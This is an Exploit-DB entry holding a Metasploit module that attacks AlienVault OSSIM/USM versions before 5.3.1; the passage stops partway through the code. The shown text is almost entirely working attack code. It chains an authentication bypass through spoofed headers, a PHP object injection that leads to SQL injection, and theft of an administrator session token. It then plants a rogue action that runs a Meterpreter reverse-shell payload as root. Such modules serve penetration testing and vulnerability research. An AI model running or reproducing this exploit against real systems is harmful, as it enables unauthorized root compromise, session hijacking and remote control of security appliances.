Exploit-DB #41424
Description: AlienVault OSSIM/USM < 5.3.1 - Remote Code Execution (Metasploit)
Type: webapps
Platform: php
Date: 2017-01-31
Author: Mehmet Ince

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::SSH

  def initialize(info={})
    super(update_info(info,
      'Name'           => "AlienVault OSSIM/USM Remote Code Execution",
      'Description'    => %q{
        This module exploits object injection, authentication bypass and ip spoofing vulnerabities all together.
        Unauthenticated users can execute arbitrary commands under the context of the root user.

        By abusing authentication bypass issue on gauge.php lead adversaries to exploit object injection vulnerability
        which leads to SQL injection attack that leaks an administrator session token. Attackers can create a rogue
        action and policy that enables to execute operating system commands by using captured session token. As a final step,
        SSH login attempt with a invalid credentials can trigger a created rogue policy which triggers an action that executes
        operating system command with root user privileges.

        This module was tested against following product and versions:
        AlienVault USM 5.3.0, 5.2.5, 5.0.0, 4.15.11, 4.5.0
        AlienVault OSSIM 5.0.0, 4.6.1
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Peter Lapp', # EDB advisory owner
          'Mehmet Ince <mehmet@mehmetince.net>' # Metasploit module
        ],
      'References'     =>
        [
          ['URL', 'https://pentest.blog/unexpected-journey-into-the-alienvault-ossimusm-during-engagement/'],
          ['EDB', '40682']
        ],
      'DefaultOptions'  =>
        {
          'SSL'      => true,
          'WfsDelay' => 10,
          'Payload'  => 'python/meterpreter/reverse_tcp'
        },
      'Platform'       => ['python'],
      'Arch'           => ARCH_PYTHON,
      'Targets'        =>
        [
          ['Alienvault USM/OSSIM <= 5.3.0', {}]
        ],
      'Privileged'     => true,
      'DisclosureDate' => "Jan 31 2017",
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        Opt::RPORT(443),
        OptString.new('TARGETURI', [true, 'The URI of the vulnerable Alienvault OSSIM instance', '/'])
      ], self.class)
  end


  def check
    r = rand_text_alpha(15)
    p = "a:1:{s:4:\"type\";s:69:\"1 AND extractvalue(rand(),concat(0x3a,(SELECT '#{r}')))-- \";}"

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'ossim', 'dashboard', 'sections', 'widgets', 'data', 'gauge.php'),
      'headers' => {
        'User-Agent' => 'AV Report Scheduler',
      },
      'vars_get' => {
        'type' => 'alarm',
        'wtype' => 'foo',
        'asset' => 'ALL_ASSETS',
        'height' => 1,
        'value' => p
      }
    })

    if res && res.code == 200 && res.body =~ /XPATH syntax error: ':#{r}'/
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end

  end


  def exploit
    # Hijacking Administrator session by exploiting objection injection vuln that end up with sqli
    print_status("Hijacking administrator session")

    sql = "SELECT id FROM sessions LIMIT 1"
    p = "a:1:{s:4:\"type\";s:#{(sql.length + 58).to_s}:\"1 AND extractvalue(rand(),concat(0x3a3a3a,(#{sql}),0x3a3a3a))-- \";}"

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'ossim', 'dashboard', 'sections', 'widgets', 'data', 'gauge.php'),
      'headers' => {
        'X-Forwarded-For' => rhost.to_s,
        'User-Agent' => 'AV Report Scheduler',
      },
      'vars_get' => {
        'type' => 'alarm',
        'wtype' => 'foo',
        'asset' => 'ALL_ASSETS',
        'height' => 1,
        'value' => p
      }
    })
    if res && res.code == 200 && res.body =~ /XPATH syntax error: ':::(.*):::'/
      admin_session = $1
      cookie = "PHPSESSID=#{admin_session}"
      print_good("Admin session token : #{cookie}")
    else
      fail_with(Failure::Unknown, "Session table is empty. Wait until someone logged in and try again")
    end

    # Creating a Action that contains payload.
    print_status("Creating rogue action")
    r = rand_text_alpha(15)

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'ossim', 'action', 'modifyactions.php'),
      'cookie' => cookie,
      'headers' => {
        'X-Forwarded-For' => rhost.to_s,
      },
        'vars_post' => {
          'id' => '',
          'action' => 'new',
          'old_name' => '',
          'action_name' => r,
          'ctx' => '',
          'old_descr' => '',
          'descr' => r,
          'action_type' => '2',
          'only' => 'on',
          'cond' => 'True',
          'email_from' => '',
          'email_to' => 'email;email;email',
          'email_subject' => '',
          'email_message' => '',
          'transferred_user' => '',
          'transferred_entity' => '',
          'exec_command' => "python -c \"#{payload.encoded}\""
      }
    })

    if res && res.code == 200 && res.body.include?("Action successfully updated")
      print_good("Action created: #{r}")
    else
      fail_with(Failure::Unknown, "Unable to create action")
    end

    # Retrieving the policy id. Authentication Bypass with User-Agent Doesn't work for this endpoint.
    # Thus we're using hijacked administrator session.
    print_status("Retrieving rogue action id")

    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, "ossim", "action", "getaction.php"),
      'cookie' => cookie,
      'headers' => {
        'X-Forwarded-For' => rhost.to